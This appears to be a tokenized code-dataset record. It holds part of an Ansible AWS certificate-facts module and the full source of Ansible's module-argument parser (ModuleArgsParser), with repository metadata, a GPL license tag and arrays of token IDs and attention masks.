statuses=dict(type='list', choices=['PENDING_VALIDATION', 'ISSUED', 'INACTIVE', 'EXPIRED', 'VALIDATION_TIMED_OUT', 'REVOKED', 'FAILED']),
)
)
module = AnsibleModule(argument_spec=argument_spec, supports_check_mode=True)
if not HAS_BOTO3:
module.fail_json(msg='boto3 and botocore are required by this module')
region, ec2_url, aws_connect_kwargs = get_aws_connection_info(module, boto3=True)
client = boto3_conn(module, conn_type='client', resource='acm',
region=region, endpoint=ec2_url, **aws_connect_kwargs)
certificates = get_certificates(client, module, domain_name=module.params['domain_name'], statuses=module.params['statuses'])
module.exit_json(certificates=certificates)
if __name__ == '__main__':
main()
|
gpl-3.0
|
[
3381,
2647,
15,
1393,
15,
1548,
199,
3,
1898,
334,
67,
9,
9708,
2622,
7290,
199,
3,
1664,
1696,
1684,
844,
373,
19,
14,
16,
11,
334,
3239,
9685,
503,
4178,
921,
1544,
14,
3689,
14,
1308,
15,
2383,
15,
11692,
13,
19,
14,
16,
14,
2424,
9,
199,
199,
8490,
63,
8314,
275,
791,
2343,
63,
1023,
356,
283,
17,
14,
17,
297,
490,
283,
1205,
356,
788,
7780,
995,
490,
283,
4946,
63,
991,
356,
283,
9387,
936,
199,
199,
8948,
275,
1449,
199,
578,
26,
11488,
63,
645,
77,
63,
5047,
199,
3612,
63,
1802,
26,
13939,
5897,
9036,
687,
10168,
12904,
13537,
2435,
199,
1802,
26,
523,
446,
13939,
9036,
367,
6570,
45,
14512,
199,
1023,
63,
3270,
26,
298,
18,
14,
21,
2,
199,
1419,
26,
523,
2881,
63,
354,
26,
272,
1369,
26,
489,
446,
710,
2881,
536,
402,
376,
6570,
45,
5897,
370,
2304,
314,
2754,
370,
272,
5481,
26,
489,
446,
536,
523,
24498,
26,
272,
1369,
26,
489,
446,
9795,
370,
2457,
314,
5897,
2058,
272,
3415,
26,
788,
21243,
63,
5600,
2594,
297,
283,
1311,
6195,
1149,
297,
283,
568,
10401,
297,
283,
25632,
7387,
297,
283,
5600,
2594,
63,
11342,
1149,
63,
1877,
297,
283,
23817,
3593,
1149,
297,
283,
12299,
418,
199,
7538,
26,
523,
446,
6055,
19,
199,
2502,
26,
523,
446,
12823,
3868,
14015,
8593,
14117,
273,
14015,
9,
199,
11036,
63,
9970,
63,
7677,
26,
272,
446,
11488,
272,
446,
7062,
18,
199,
2344,
199,
199,
8918,
275,
1449,
199,
13,
536,
26,
3332,
1006,
6570,
45,
14512,
523,
11488,
63,
645,
77,
63,
5047,
26,
199,
199,
13,
536,
26,
3332,
1006,
9036,
367,
282,
2849,
6570,
45,
5897,
523,
11488,
63,
645,
77,
63,
5047,
26,
272,
2881,
63,
354,
26,
298,
4856,
2694,
63,
957,
2,
199,
199,
13,
536,
26,
3332,
1006,
14512,
9413,
1139,
9897,
425,
523,
11488,
63,
645,
77,
63,
5047,
26,
272,
24498,
26,
272,
446,
510,
15219,
63,
5600,
2594,
199,
2344,
199,
199,
9677,
275,
1449,
199,
16159,
26,
523,
1369,
26,
437,
769,
402,
14512,
523,
2138,
26,
3544,
523,
730,
26,
6114,
523,
3509,
26,
272,
5897,
26,
489,
1369,
26,
710,
6570,
45,
12904,
2396,
489,
2138,
26,
1380,
5897,
7143,
365,
4890,
489,
2690,
26,
283,
9858,
15947,
28313,
29321,
9858,
1103,
78,
45,
8921,
703,
1396,
9858,
3902,
28313,
29321,
9858,
1103,
78,
7,
489,
730,
26,
620,
272,
5897,
63,
1060,
26,
489,
1369,
26,
12904,
4160,
46,
489,
2138,
26,
3544,
489,
2690,
26,
601,
78,
26,
7231,
26,
645,
77,
26,
439,
13,
22607,
14346,
13,
18,
26,
11272,
11533,
26,
6999,
15,
13591,
4321,
13,
13591,
13,
4321,
13,
13591,
13,
11272,
3175,
489,
730,
26,
620,
272,
5897,
63,
4429,
26,
489,
1369,
26,
16579,
5897,
6036,
367,
314,
5897,
489,
2138,
26,
1380,
5897,
7143,
365,
4890,
489,
2690,
26,
283,
9858,
15947,
28313,
29321,
9858,
1103,
78,
45,
8921,
1396,
1103,
78,
9858,
3902,
28313,
29321,
9858,
1103,
78,
9858,
15947,
28313,
29321,
9858,
1103,
78,
13698,
489,
730,
26,
620,
272,
2737,
63,
292,
26,
489,
1369,
26,
6148,
5897,
1990,
2737,
489,
2138,
26,
3544,
489,
2690,
26,
283,
10680,
13,
2036,
13,
1046,
52,
709,
26,
2192,
26,
1167,
11,
709,
26,
383,
7,
489,
730,
26,
620,
272,
2881,
63,
354,
26,
489,
1369,
26,
14061,
536,
367,
314,
5897,
489,
2138,
26,
3544,
489,
2690,
26,
11937,
2694,
14,
957,
7,
489,
730,
26,
620,
272,
2881,
63,
6136,
63,
1419,
26,
489,
1369,
26,
8394,
1202,
701,
6570,
45,
370,
4107,
314,
5897,
489,
2138,
26,
1380,
5897,
730,
365,
437,
2054,
58,
615,
63,
1311,
6195,
1149,
489,
730,
26,
6114,
489,
3509,
26,
267,
2881,
63,
354,
26,
881,
1369,
26,
481,
8525,
12313,
2881,
536,
402,
314,
5897,
881,
2138,
26,
3544,
881,
2690,
26,
2893,
14,
957,
881,
730,
26,
620,
267,
6411,
63,
2261,
26,
881,
1369,
26,
710,
2881,
536,
6570,
45,
1202,
370,
3222,
6411,
14931,
881,
2138,
26,
3544,
881,
2690,
26,
2893,
14,
957,
881,
730,
26,
620,
267,
6411,
63,
14170,
26,
881,
1369,
26,
437,
769,
402,
3031,
7149,
626,
6570,
45,
1202,
370,
3222,
2881,
6411,
14931,
881,
2138,
26,
3544,
881,
2690,
26,
881,
446,
4628,
32,
2694,
14,
957,
881,
446,
2963,
4133,
32,
2694,
14,
957,
881,
730,
26,
769,
267,
6411,
63,
1205,
26,
881,
1369,
26,
19381,
2004,
402,
314,
2881,
881,
2138,
26,
3544,
881,
2690,
26,
28364,
881,
730,
26,
620,
272,
5988,
63,
5764,
26,
489,
1369,
26,
799,
2660,
5897,
1056,
3405,
489,
2138,
26,
1454,
1380,
5897,
365,
9648,
316,
3405,
489,
730,
26,
620,
489,
2690,
26,
4825,
63,
17377,
63,
5801,
3036,
51,
272,
315,
63,
1180,
63,
991,
26,
489,
1369,
26,
437,
769,
402,
4160,
2438,
367,
314,
10168,
5944,
626,
787,
1808,
314,
5897,
14,
489,
2138,
26,
3544,
489,
2690,
26,
942,
489,
730,
26,
769,
272,
21117,
63,
292,
26,
489,
1369,
26,
6148,
5897,
1990,
21117,
489,
2138,
26,
3544,
489,
2690,
26,
283,
10680,
13,
614,
13,
614,
52,
383,
26,
383,
26,
383,
11,
709,
26,
383,
7,
489,
730,
26,
620,
272,
365,
20166,
26,
489,
1369,
26,
473,
385,
14262,
402,
314,
5897,
489,
2138,
26,
3544,
489,
2690,
26,
14347,
489,
730,
26,
620,
272,
790,
63,
8833,
26,
489,
1369,
26,
23823,
1202,
370,
3550,
314,
5897,
489,
2138,
26,
3544,
489,
2690,
26,
18471,
13,
18343,
489,
730,
26,
620,
272,
440,
63,
4399,
26,
489,
1369,
26,
6148,
2410,
1314,
314,
5897,
365,
440,
1686,
489,
2138,
26,
3544,
489,
2690,
26,
283,
14982,
13,
614,
13,
614,
52,
383,
26,
383,
26,
383,
11,
709,
26,
383,
7,
489,
730,
26,
620,
272,
440,
63,
5182,
26,
489,
1369,
26,
6148,
2544,
1314,
314,
5897,
365,
440,
1686,
489,
2138,
26,
3544,
489,
2690,
26,
283,
10680,
13,
614,
13,
614,
52,
383,
26,
383,
26,
383,
11,
709,
26,
383,
7,
489,
730,
26,
620,
272,
295,
1222,
279,
63,
4705
] |
[
2647,
15,
1393,
15,
1548,
199,
3,
1898,
334,
67,
9,
9708,
2622,
7290,
199,
3,
1664,
1696,
1684,
844,
373,
19,
14,
16,
11,
334,
3239,
9685,
503,
4178,
921,
1544,
14,
3689,
14,
1308,
15,
2383,
15,
11692,
13,
19,
14,
16,
14,
2424,
9,
199,
199,
8490,
63,
8314,
275,
791,
2343,
63,
1023,
356,
283,
17,
14,
17,
297,
490,
283,
1205,
356,
788,
7780,
995,
490,
283,
4946,
63,
991,
356,
283,
9387,
936,
199,
199,
8948,
275,
1449,
199,
578,
26,
11488,
63,
645,
77,
63,
5047,
199,
3612,
63,
1802,
26,
13939,
5897,
9036,
687,
10168,
12904,
13537,
2435,
199,
1802,
26,
523,
446,
13939,
9036,
367,
6570,
45,
14512,
199,
1023,
63,
3270,
26,
298,
18,
14,
21,
2,
199,
1419,
26,
523,
2881,
63,
354,
26,
272,
1369,
26,
489,
446,
710,
2881,
536,
402,
376,
6570,
45,
5897,
370,
2304,
314,
2754,
370,
272,
5481,
26,
489,
446,
536,
523,
24498,
26,
272,
1369,
26,
489,
446,
9795,
370,
2457,
314,
5897,
2058,
272,
3415,
26,
788,
21243,
63,
5600,
2594,
297,
283,
1311,
6195,
1149,
297,
283,
568,
10401,
297,
283,
25632,
7387,
297,
283,
5600,
2594,
63,
11342,
1149,
63,
1877,
297,
283,
23817,
3593,
1149,
297,
283,
12299,
418,
199,
7538,
26,
523,
446,
6055,
19,
199,
2502,
26,
523,
446,
12823,
3868,
14015,
8593,
14117,
273,
14015,
9,
199,
11036,
63,
9970,
63,
7677,
26,
272,
446,
11488,
272,
446,
7062,
18,
199,
2344,
199,
199,
8918,
275,
1449,
199,
13,
536,
26,
3332,
1006,
6570,
45,
14512,
523,
11488,
63,
645,
77,
63,
5047,
26,
199,
199,
13,
536,
26,
3332,
1006,
9036,
367,
282,
2849,
6570,
45,
5897,
523,
11488,
63,
645,
77,
63,
5047,
26,
272,
2881,
63,
354,
26,
298,
4856,
2694,
63,
957,
2,
199,
199,
13,
536,
26,
3332,
1006,
14512,
9413,
1139,
9897,
425,
523,
11488,
63,
645,
77,
63,
5047,
26,
272,
24498,
26,
272,
446,
510,
15219,
63,
5600,
2594,
199,
2344,
199,
199,
9677,
275,
1449,
199,
16159,
26,
523,
1369,
26,
437,
769,
402,
14512,
523,
2138,
26,
3544,
523,
730,
26,
6114,
523,
3509,
26,
272,
5897,
26,
489,
1369,
26,
710,
6570,
45,
12904,
2396,
489,
2138,
26,
1380,
5897,
7143,
365,
4890,
489,
2690,
26,
283,
9858,
15947,
28313,
29321,
9858,
1103,
78,
45,
8921,
703,
1396,
9858,
3902,
28313,
29321,
9858,
1103,
78,
7,
489,
730,
26,
620,
272,
5897,
63,
1060,
26,
489,
1369,
26,
12904,
4160,
46,
489,
2138,
26,
3544,
489,
2690,
26,
601,
78,
26,
7231,
26,
645,
77,
26,
439,
13,
22607,
14346,
13,
18,
26,
11272,
11533,
26,
6999,
15,
13591,
4321,
13,
13591,
13,
4321,
13,
13591,
13,
11272,
3175,
489,
730,
26,
620,
272,
5897,
63,
4429,
26,
489,
1369,
26,
16579,
5897,
6036,
367,
314,
5897,
489,
2138,
26,
1380,
5897,
7143,
365,
4890,
489,
2690,
26,
283,
9858,
15947,
28313,
29321,
9858,
1103,
78,
45,
8921,
1396,
1103,
78,
9858,
3902,
28313,
29321,
9858,
1103,
78,
9858,
15947,
28313,
29321,
9858,
1103,
78,
13698,
489,
730,
26,
620,
272,
2737,
63,
292,
26,
489,
1369,
26,
6148,
5897,
1990,
2737,
489,
2138,
26,
3544,
489,
2690,
26,
283,
10680,
13,
2036,
13,
1046,
52,
709,
26,
2192,
26,
1167,
11,
709,
26,
383,
7,
489,
730,
26,
620,
272,
2881,
63,
354,
26,
489,
1369,
26,
14061,
536,
367,
314,
5897,
489,
2138,
26,
3544,
489,
2690,
26,
11937,
2694,
14,
957,
7,
489,
730,
26,
620,
272,
2881,
63,
6136,
63,
1419,
26,
489,
1369,
26,
8394,
1202,
701,
6570,
45,
370,
4107,
314,
5897,
489,
2138,
26,
1380,
5897,
730,
365,
437,
2054,
58,
615,
63,
1311,
6195,
1149,
489,
730,
26,
6114,
489,
3509,
26,
267,
2881,
63,
354,
26,
881,
1369,
26,
481,
8525,
12313,
2881,
536,
402,
314,
5897,
881,
2138,
26,
3544,
881,
2690,
26,
2893,
14,
957,
881,
730,
26,
620,
267,
6411,
63,
2261,
26,
881,
1369,
26,
710,
2881,
536,
6570,
45,
1202,
370,
3222,
6411,
14931,
881,
2138,
26,
3544,
881,
2690,
26,
2893,
14,
957,
881,
730,
26,
620,
267,
6411,
63,
14170,
26,
881,
1369,
26,
437,
769,
402,
3031,
7149,
626,
6570,
45,
1202,
370,
3222,
2881,
6411,
14931,
881,
2138,
26,
3544,
881,
2690,
26,
881,
446,
4628,
32,
2694,
14,
957,
881,
446,
2963,
4133,
32,
2694,
14,
957,
881,
730,
26,
769,
267,
6411,
63,
1205,
26,
881,
1369,
26,
19381,
2004,
402,
314,
2881,
881,
2138,
26,
3544,
881,
2690,
26,
28364,
881,
730,
26,
620,
272,
5988,
63,
5764,
26,
489,
1369,
26,
799,
2660,
5897,
1056,
3405,
489,
2138,
26,
1454,
1380,
5897,
365,
9648,
316,
3405,
489,
730,
26,
620,
489,
2690,
26,
4825,
63,
17377,
63,
5801,
3036,
51,
272,
315,
63,
1180,
63,
991,
26,
489,
1369,
26,
437,
769,
402,
4160,
2438,
367,
314,
10168,
5944,
626,
787,
1808,
314,
5897,
14,
489,
2138,
26,
3544,
489,
2690,
26,
942,
489,
730,
26,
769,
272,
21117,
63,
292,
26,
489,
1369,
26,
6148,
5897,
1990,
21117,
489,
2138,
26,
3544,
489,
2690,
26,
283,
10680,
13,
614,
13,
614,
52,
383,
26,
383,
26,
383,
11,
709,
26,
383,
7,
489,
730,
26,
620,
272,
365,
20166,
26,
489,
1369,
26,
473,
385,
14262,
402,
314,
5897,
489,
2138,
26,
3544,
489,
2690,
26,
14347,
489,
730,
26,
620,
272,
790,
63,
8833,
26,
489,
1369,
26,
23823,
1202,
370,
3550,
314,
5897,
489,
2138,
26,
3544,
489,
2690,
26,
18471,
13,
18343,
489,
730,
26,
620,
272,
440,
63,
4399,
26,
489,
1369,
26,
6148,
2410,
1314,
314,
5897,
365,
440,
1686,
489,
2138,
26,
3544,
489,
2690,
26,
283,
14982,
13,
614,
13,
614,
52,
383,
26,
383,
26,
383,
11,
709,
26,
383,
7,
489,
730,
26,
620,
272,
440,
63,
5182,
26,
489,
1369,
26,
6148,
2544,
1314,
314,
5897,
365,
440,
1686,
489,
2138,
26,
3544,
489,
2690,
26,
283,
10680,
13,
614,
13,
614,
52,
383,
26,
383,
26,
383,
11,
709,
26,
383,
7,
489,
730,
26,
620,
272,
295,
1222,
279,
63,
4705,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
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
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
cyberark-bizdev/ansible
|
lib/ansible/parsing/mod_args.py
|
20
|
12115
|
# (c) 2014 Michael DeHaan, <michael@ansible.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible. If not, see <http://www.gnu.org/licenses/>.
# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type
from ansible.errors import AnsibleParserError, AnsibleError, AnsibleAssertionError
from ansible.module_utils.six import iteritems, string_types
from ansible.module_utils._text import to_text
from ansible.parsing.splitter import parse_kv, split_args
from ansible.plugins.loader import module_loader, action_loader
from ansible.template import Templar
# For filtering out modules correctly below
RAW_PARAM_MODULES = ([
'command',
'win_command',
'shell',
'win_shell',
'script',
'include',
'include_vars',
'include_tasks',
'include_role',
'import_tasks',
'import_role',
'add_host',
'group_by',
'set_fact',
'raw',
'meta',
])
class ModuleArgsParser:
"""
There are several ways a module and argument set can be expressed:
# legacy form (for a shell command)
- action: shell echo hi
# common shorthand for local actions vs delegate_to
- local_action: shell echo hi
# most commonly:
- copy: src=a dest=b
# legacy form
- action: copy src=a dest=b
# complex args form, for passing structured data
- copy:
src: a
dest: b
# gross, but technically legal
- action:
module: copy
args:
src: a
dest: b
# Standard YAML form for command-type modules. In this case, the args specified
# will act as 'defaults' and will be overridden by any args specified
# in one of the other formats (complex args under the action, or
# parsed from the k=v string
- command: 'pwd'
args:
chdir: '/tmp'
This class has some of the logic to canonicalize these into the form
- module: <module_name>
delegate_to: <optional>
args: <args>
Args may also be munged for certain shell command parameters.
"""
def __init__(self, task_ds=None):
task_ds = {} if task_ds is None else task_ds
if not isinstance(task_ds, dict):
raise AnsibleAssertionError("the type of 'task_ds' should be a dict, but is a %s" % type(task_ds))
self._task_ds = task_ds
def _split_module_string(self, module_string):
'''
when module names are expressed like:
action: copy src=a dest=b
the first part of the string is the name of the module
and the rest are strings pertaining to the arguments.
'''
tokens = split_args(module_string)
if len(tokens) > 1:
return (tokens[0], " ".join(tokens[1:]))
else:
return (tokens[0], "")
def _normalize_parameters(self, thing, action=None, additional_args=None):
'''
arguments can be fuzzy. Deal with all the forms.
'''
additional_args = {} if additional_args is None else additional_args
# final args are the ones we'll eventually return, so first update
# them with any additional args specified, which have lower priority
# than those which may be parsed/normalized next
final_args = dict()
if additional_args:
if isinstance(additional_args, string_types):
templar = Templar(loader=None)
if templar._contains_vars(additional_args):
final_args['_variable_params'] = additional_args
else:
raise AnsibleParserError("Complex args containing variables cannot use bare variables, and must use the full variable style "
"('{{var_name}}')")
elif isinstance(additional_args, dict):
final_args.update(additional_args)
else:
raise AnsibleParserError('Complex args must be a dictionary or variable string ("{{var}}").')
# how we normalize depends if we figured out what the module name is
# yet. If we have already figured it out, it's a 'new style' invocation.
# otherwise, it's not
if action is not None:
args = self._normalize_new_style_args(thing, action)
else:
(action, args) = self._normalize_old_style_args(thing)
# this can occasionally happen, simplify
if args and 'args' in args:
tmp_args = args.pop('args')
if isinstance(tmp_args, string_types):
tmp_args = parse_kv(tmp_args)
args.update(tmp_args)
# only internal variables can start with an underscore, so
# we don't allow users to set them directly in arguments
if args and action not in ('command', 'win_command', 'shell', 'win_shell', 'script', 'raw'):
for arg in args:
arg = to_text(arg)
if arg.startswith('_ansible_'):
raise AnsibleError("invalid parameter specified for action '%s': '%s'" % (action, arg))
# finally, update the args we're going to return with the ones
# which were normalized above
if args:
final_args.update(args)
return (action, final_args)
def _normalize_new_style_args(self, thing, action):
'''
deals with fuzziness in new style module invocations
accepting key=value pairs and dictionaries, and returns
a dictionary of arguments
possible example inputs:
'echo hi', 'shell'
{'region': 'xyz'}, 'ec2'
standardized outputs like:
{ _raw_params: 'echo hi', _uses_shell: True }
'''
if isinstance(thing, dict):
# form is like: { xyz: { x: 2, y: 3 } }
args = thing
elif isinstance(thing, string_types):
# form is like: copy: src=a dest=b
check_raw = action in ('command', 'win_command', 'shell', 'win_shell', 'script', 'raw')
args = parse_kv(thing, check_raw=check_raw)
elif thing is None:
# this can happen with modules which take no params, like ping:
args = None
else:
raise AnsibleParserError("unexpected parameter type in action: %s" % type(thing), obj=self._task_ds)
return args
def _normalize_old_style_args(self, thing):
'''
deals with fuzziness in old-style (action/local_action) module invocations
returns tuple of (module_name, dictionary_args)
possible example inputs:
{ 'shell' : 'echo hi' }
'shell echo hi'
{'module': 'ec2', 'x': 1 }
standardized outputs like:
('ec2', { 'x': 1} )
'''
action = None
args = None
actions_allowing_raw = ('command', 'win_command', 'shell', 'win_shell', 'script', 'raw')
if isinstance(thing, dict):
# form is like: action: { module: 'copy', src: 'a', dest: 'b' }
thing = thing.copy()
if 'module' in thing:
action, module_args = self._split_module_string(thing['module'])
args = thing.copy()
check_raw = action in actions_allowing_raw
args.update(parse_kv(module_args, check_raw=check_raw))
del args['module']
elif isinstance(thing, string_types):
# form is like: action: copy src=a dest=b
(action, args) = self._split_module_string(thing)
check_raw = action in actions_allowing_raw
args = parse_kv(args, check_raw=check_raw)
else:
# need a dict or a string, so giving up
raise AnsibleParserError("unexpected parameter type in action: %s" % type(thing), obj=self._task_ds)
return (action, args)
def parse(self):
'''
Given a task in one of the supported forms, parses and returns
returns the action, arguments, and delegate_to values for the
task, dealing with all sorts of levels of fuzziness.
'''
thing = None
action = None
delegate_to = self._task_ds.get('delegate_to', None)
args = dict()
# This is the standard YAML form for command-type modules. We grab
# the args and pass them in as additional arguments, which can/will
# be overwritten via dict updates from the other arg sources below
additional_args = self._task_ds.get('args', dict())
# We can have one of action, local_action, or module specified
# action
if 'action' in self._task_ds:
# an old school 'action' statement
thing = self._task_ds['action']
action, args = self._normalize_parameters(thing, action=action, additional_args=additional_args)
# local_action
if 'local_action' in self._task_ds:
# local_action is similar but also implies a delegate_to
if action is not None:
raise AnsibleParserError("action and local_action are mutually exclusive", obj=self._task_ds)
thing = self._task_ds.get('local_action', '')
delegate_to = 'localhost'
action, args = self._normalize_parameters(thing, action=action, additional_args=additional_args)
# module: <stuff> is the more new-style invocation
# walk the input dictionary to see we recognize a module name
for (item, value) in iteritems(self._task_ds):
if item in module_loader or item in action_loader or item in ['meta', 'include', 'include_tasks', 'include_role', 'import_tasks', 'import_role']:
# finding more than one module name is a problem
if action is not None:
raise AnsibleParserError("conflicting action statements: %s, %s" % (action, item), obj=self._task_ds)
action = item
thing = value
action, args = self._normalize_parameters(thing, action=action, additional_args=additional_args)
# if we didn't see any module in the task at all, it's not a task really
if action is None:
if 'ping' not in module_loader:
raise AnsibleParserError("The requested action was not found in configured module paths. "
"Additionally, core modules are missing. If this is a checkout, "
"run 'git pull --rebase' to correct this problem.",
obj=self._task_ds)
else:
raise AnsibleParserError("no action detected in task. This often indicates a misspelled module name, or incorrect module path.",
obj=self._task_ds)
elif args.get('_raw_params', '') != '' and action not in RAW_PARAM_MODULES:
templar = Templar(loader=None)
raw_params = args.pop('_raw_params')
if templar._contains_vars(raw_params):
args['_variable_params'] = raw_params
else:
raise AnsibleParserError("this task '%s' has extra params, which is only allowed in the following modules: %s" % (action,
", ".join(RAW_PARAM_MODULES)),
obj=self._task_ds)
return (action, args, delegate_to)
|
gpl-3.0
|
[
3,
334,
67,
9,
6927,
16922,
22453,
12,
665,
22333,
32,
4853,
14,
957,
30,
199,
3,
199,
3,
961,
570,
365,
1777,
402,
2622,
199,
3,
199,
3,
2622,
365,
2867,
2032,
26,
1265,
883,
3604,
652,
436,
15,
269,
2811,
199,
3,
652,
1334,
314,
2895,
402,
314,
1664,
1696,
1684,
844,
465,
3267,
701,
199,
3,
314,
2868,
2290,
2752,
12,
1902,
1015,
650,
402,
314,
844,
12,
503,
199,
3,
334,
292,
2195,
945,
9,
1263,
2945,
1015,
14,
199,
3,
199,
3,
2622,
365,
1854,
315,
314,
3661,
626,
652,
911,
506,
2997,
12,
199,
3,
1325,
2428,
1821,
3408,
27,
1928,
2755,
314,
2478,
3750,
402,
199,
3,
3169,
503,
3092,
2381,
437,
3115,
3104,
14,
221,
1666,
314,
199,
3,
1664,
1696,
1684,
844,
367,
1655,
2436,
14,
199,
3,
199,
3,
2047,
1077,
1172,
3086,
282,
1331,
402,
314,
1664,
1696,
1684,
844,
199,
3,
3180,
543,
2622,
14,
221,
982,
440,
12,
1937,
665,
1014,
921,
1544,
14,
3689,
14,
1308,
15,
2383,
4743,
199,
199,
3,
4155,
2803,
1655,
2366,
19,
13,
2453,
199,
504,
636,
2443,
363,
492,
334,
6116,
63,
646,
12,
4629,
12,
870,
63,
1593,
9,
199,
363,
6577,
363,
275,
730,
199,
199,
504,
3242,
14,
2550,
492,
31775,
12,
13358,
12,
2622,
14844,
199,
504,
3242,
14,
578,
63,
1208,
14,
4174,
492,
10849,
12,
1059,
63,
1313,
199,
504,
3242,
14,
578,
63,
1208,
423,
505,
492,
370,
63,
505,
199,
504,
3242,
14,
11059,
14,
25234,
492,
2198,
63,
11475,
12,
3715,
63,
589,
199,
504,
3242,
14,
5265,
14,
3422,
492,
859,
63,
3422,
12,
1595,
63,
3422,
199,
504,
3242,
14,
1160,
492,
12540,
9828,
421,
199,
3,
2104,
14545,
734,
4621,
6657,
5084,
199,
4307,
63,
7258,
63,
21194,
275,
7287,
272,
283,
1531,
297,
272,
283,
2676,
63,
1531,
297,
272,
283,
5641,
297,
272,
283,
2676,
63,
5641,
297,
272,
283,
1579,
297,
272,
283,
2613,
297,
272,
283,
2613,
63,
2936,
297,
272,
283,
2613,
63,
5054,
297,
272,
283,
2613,
63,
3756,
297,
272,
283,
646,
63,
5054,
297,
272,
283,
646,
63,
3756,
297,
272,
283,
525,
63,
1102,
297,
272,
283,
923,
63,
991,
297,
272,
283,
409,
63,
7783,
297,
272,
283,
1773,
297,
272,
283,
2024,
297,
199,
566,
421,
199,
533,
5673,
6213,
2842,
26,
339,
408,
272,
6006,
787,
9978,
15217,
282,
859,
436,
1423,
663,
883,
506,
19147,
26,
339,
327,
12139,
1824,
334,
509,
282,
5218,
1414,
9,
272,
446,
1595,
26,
5218,
11343,
13759,
339,
327,
2863,
1033,
23999,
367,
2257,
5445,
8118,
13080,
63,
475,
272,
446,
2257,
63,
1287,
26,
5218,
11343,
13759,
339,
327,
4750,
28829,
26,
272,
446,
1331,
26,
2928,
29,
65,
2053,
29,
66,
339,
327,
12139,
1824,
272,
446,
1595,
26,
1331,
2928,
29,
65,
2053,
29,
66,
339,
327,
6114,
1249,
1824,
12,
367,
9476,
21781,
666,
272,
446,
1331,
26,
267,
2928,
26,
282,
267,
2053,
26,
330,
339,
327,
486,
3685,
12,
1325,
18077,
7288,
18393,
272,
446,
1595,
26,
267,
859,
26,
1331,
267,
1249,
26,
881,
2928,
26,
282,
881,
2053,
26,
330,
339,
327,
9739,
18916,
1824,
367,
1414,
13,
466,
4621,
14,
1010,
642,
1930,
12,
314,
1249,
2013,
272,
327,
911,
2454,
465,
283,
4322,
7,
436,
911,
506,
10087,
701,
1263,
1249,
2013,
272,
327,
315,
1373,
402,
314,
1163,
6752,
334,
5254,
1249,
1334,
314,
1595,
12,
503,
272,
327,
4565,
687,
314,
1022,
29,
86,
1059,
272,
446,
1414,
26,
283,
14258,
7,
489,
1249,
26,
267,
13097,
26,
1994,
2791,
7,
2378,
961,
1021,
965,
2005,
402,
314,
9661,
370,
11358,
794,
3520,
1901,
314,
1824,
339,
446,
859,
26,
665,
578,
63,
354,
30,
489,
13080,
63,
475,
26,
665,
4144,
30,
489,
1249,
26,
665,
589,
30,
339,
3033,
1443,
2597,
506,
333,
324,
3046,
367,
9842,
5218,
1414,
2633,
14,
272,
408,
339,
347,
636,
826,
721,
277,
12,
2120,
63,
795,
29,
403,
304,
267,
2120,
63,
795,
275,
1052,
340,
2120,
63,
795,
365,
488,
587,
2120,
63,
795,
398,
340,
440,
1228,
8,
1765,
63,
795,
12,
1211,
304,
288,
746,
2622,
14844,
480,
1589,
730,
402,
283,
1765,
63,
795,
7,
1077,
506,
282,
1211,
12,
1325,
365,
282,
450,
83,
2,
450,
730,
8,
1765,
63,
795,
430,
267,
291,
423,
1765,
63,
795,
275,
2120,
63,
795,
339,
347,
485,
1294,
63,
578,
63,
875,
8,
277,
12,
859,
63,
875,
304,
267,
1449,
267,
1380,
859,
1561,
787,
19147,
2839,
26,
267,
1595,
26,
1331,
2928,
29,
65,
2053,
29,
66,
267,
314,
1642,
1777,
402,
314,
1059,
365,
314,
536,
402,
314,
859,
267,
436,
314,
4618,
787,
3326,
1126,
24522,
370,
314,
2368,
14,
267,
1449,
398,
4645,
275,
3715,
63,
589,
8,
578,
63,
875,
9,
267,
340,
822,
8,
4504,
9,
690,
413,
26,
288,
372,
334,
4504,
59,
16,
467,
298,
3680,
904,
8,
4504,
59,
17,
16720,
267,
587,
26,
288,
372,
334,
4504,
59,
16,
467,
6899,
339,
347,
485,
7721,
63,
3214,
8,
277,
12,
8377,
12,
1595,
29,
403,
12,
4722,
63,
589,
29,
403,
304,
267,
1449,
267,
2368,
883,
506,
